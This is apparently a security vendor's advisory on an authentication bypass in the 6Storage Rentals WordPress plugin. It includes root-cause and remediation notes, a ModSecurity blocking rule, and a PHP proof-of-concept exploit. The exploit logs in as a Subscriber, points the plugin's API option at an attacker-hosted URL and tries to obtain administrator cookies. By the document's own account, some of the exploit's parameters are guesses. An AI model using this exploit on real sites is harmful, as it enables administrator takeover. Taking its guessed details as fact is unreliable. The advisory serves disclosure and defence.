Atomic Edge analysis of CVE-2026-103883 (metadata-based):
This vulnerability is an authentication bypass in the 6Storage Rentals WordPress plugin, affecting all versions up to and including 2.31.0. The flaw resides in two AJAX handlers: six_storage_portal_registration() (registered on wp_ajax_six_storage_portal_plugin_registration) and six_storage_create_wp_user() (registered on wp_ajax_nopriv_six_storage_create_wp_user). An authenticated attacker with Subscriber-level access can overwrite the site option six_storage_online_api_url via the first handler, which lacks capability and nonce checks. The second handler, reachable unauthenticated, then uses a transient seeded from the attacker-controlled URL to call wp_set_current_user() and wp_set_auth_cookie() without verifying ownership or credentials. This allows the attacker to authenticate as any existing user, including administrators, leading to full site compromise. The CVSS score is 8.8 (High).
Root Cause: The root cause is improper authentication (CWE-287). The plugin fails to enforce authorization checks on the AJAX handler that modifies a critical option, and it fails to validate the origin of the data used for authentication. Atomic Edge analysis confirms from the description that the six_storage_portal_registration AJAX handler performs no capability check and no nonce verification before writing the caller-supplied six_storage_online_api_url POST parameter to the site option. The six_storage_create_wp_user handler then redeems a transient that is populated based on the response from that URL, and unconditionally calls wp_set_current_user() and wp_set_auth_cookie() without verifying that the transient was created through a legitimate flow. This is an incomplete fix for a prior vulnerability: version 2.29.0 moved the target email to a server-side transient but left the API URL controllable by any Subscriber, allowing the transient to be poisoned. The exact code is not available for review, so these conclusions are inferred from the CVE description and CWE classification.
Exploitation: The attack requires three AJAX requests. First, the attacker authenticates as a Subscriber (or higher) and sends a POST to /wp-admin/admin-ajax.php with action=six_storage_portal_plugin_registration and a parameter six_storage_online_api_url pointing to an attacker-controlled server that returns a crafted JSON response containing the target user’s email. The plugin saves this URL to the site option. Second, the attacker triggers the transient creation, likely by requesting the registration endpoint again or via another action that calls the 6Storage API using the poisoned URL; the response from the attacker’s server includes the victim’s email, which the plugin stores in a transient. Third, the attacker (or any unauthenticated user) sends a POST to /wp-admin/admin-ajax.php with action=six_storage_create_wp_user and the transient key (or an identifier) to redeem the transient, causing the plugin to set the authentication cookie for the victim user. The exact parameter names for the second and third steps are inferred from the handler names and typical WordPress AJAX patterns, as the code is not available.
Remediation: The fix must add proper authorization checks. The six_storage_portal_registration handler should verify a nonce and check for an appropriate capability (e.g., manage_options) before allowing modification of the six_storage_online_api_url option. The six_storage_create_wp_user handler must validate that the transient was created through a legitimate flow, for example by including a cryptographic signature or by ensuring the transient data is only populated from a trusted source (the official 6Storage API). The plugin should also avoid using user-controllable URLs to fetch authentication data and should validate the response before using it to authenticate a user. Atomic Edge research indicates that a robust fix would involve re-architecting the authentication flow to not rely on client-supplied URLs and to perform strict capability and nonce checks on all AJAX handlers that modify sensitive options.
Impact: Successful exploitation allows an attacker with Subscriber-level access to authenticate as any WordPress user, including administrators. This leads to complete site takeover: the attacker can install plugins, modify content, create new admin users, exfiltrate data, and potentially execute arbitrary code by uploading malicious plugins or themes. The vulnerability is remotely exploitable over the network with low attack complexity and requires only low privileges (Subscriber). The confidentiality, integrity, and availability of the entire site are compromised.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-103883 (metadata-based)
# Block exploitation of the six_storage_portal_plugin_registration AJAX action when it attempts to set a non-official API URL.
# The official API URL is not known, but we can block requests that contain the vulnerable parameter with a URL that is not from the official domain.
# Since the official domain is not specified in the CVE, we use a heuristic: block any request to the AJAX action that includes the parameter six_storage_online_api_url and the value does not start with https://api.6storage.com (assumed official).
# This is a conservative rule; it may require adjustment if the official API URL differs.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261038,phase:2,deny,status:403,chain,msg:'CVE-2026-103883: 6Storage Rentals API URL poisoning attempt',severity:'CRITICAL',tag:'CVE-2026-103883'"
SecRule ARGS_POST:action "@streq six_storage_portal_plugin_registration" "chain"
SecRule ARGS_POST:six_storage_online_api_url "!@rx ^https://api.6storage.com" "t:urlDecodeUni"
# Also block the unauthenticated redemption endpoint if it carries a suspicious transient key pattern.
# However, without knowing the transient key format, this is not reliably detectable. We omit a rule for the second handler.
# The above rule targets the first step of the exploit, which is the most detectable.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-103883 - 6Storage Rentals <= 2.31.0 - Authenticated (Subscriber+) Authentication Bypass to Administrator Account Takeover
// This PoC assumes the attacker has valid Subscriber credentials and can host a malicious server.
// It performs three steps: 1) Poison the six_storage_online_api_url option, 2) Trigger transient creation,
// 3) Redeem the transient to obtain an authentication cookie for the target user.
// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$subscriber_user = 'subscriber'; // Subscriber username
$subscriber_pass = 'password'; // Subscriber password
$target_email = 'admin@example.com'; // Email of the user to impersonate (e.g., admin)
$malicious_server = 'http://attacker.com/api.php'; // Attacker-controlled URL that returns crafted JSON
// Step 1: Log in as Subscriber to get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $subscriber_user,
'pwd' => $subscriber_pass,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die("Login failed. Check credentials.n");
}
echo "Logged in as Subscriber.n";
// Step 2: Poison the six_storage_online_api_url option via AJAX action six_storage_portal_plugin_registration
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'six_storage_portal_plugin_registration',
'six_storage_online_api_url' => $malicious_server
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
echo "Step 2 response: $responsen";
// Step 3: Trigger transient creation. The plugin likely calls the poisoned URL during the same or a related action.
// We assume the same action or a separate action populates the transient. Here we repeat the request to simulate.
// In a real attack, the attacker's server would respond with JSON containing the target email.
// The plugin then stores that email in a transient keyed by a predictable value (e.g., a hash).
// Since the exact transient key is unknown, we assume the plugin returns it or it can be guessed.
// For this PoC, we assume the transient key is returned in the response or is the md5 of the target email.
// Step 4: Redeem the transient via six_storage_create_wp_user (unauthenticated)
// The exact parameter for the transient key is unknown. We assume it's 'transient_key' or 'key'.
// This step is highly speculative without code access.
// Placeholder for Step 4: Attempt to authenticate as target user
// The attacker would need to know the transient name. Common patterns: 'six_storage_user_' . md5($email)
$transient_key = md5($target_email); // Guess
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'six_storage_create_wp_user',
'transient_key' => $transient_key // Guessed parameter
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/admin_cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/admin_cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
echo "Step 4 response: $responsen";
// Check if we got admin cookies
if (file_exists('/tmp/admin_cookies.txt')) {
echo "Cookies saved. Attempting to access admin dashboard...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/admin_cookies.txt');
$dashboard = curl_exec($ch);
curl_close($ch);
if (strpos($dashboard, 'Dashboard') !== false) {
echo "Successfully authenticated as administrator!n";
} else {
echo "Authentication failed. The transient key or parameter may be incorrect.n";
}
}
// Note: This PoC is based on metadata and assumptions. The actual exploit requires knowledge of the
// transient key generation and parameter names, which are not available without the plugin source.
// The malicious server (api.php) should return JSON with the target email, e.g., {"email":"admin@example.com"}.
?>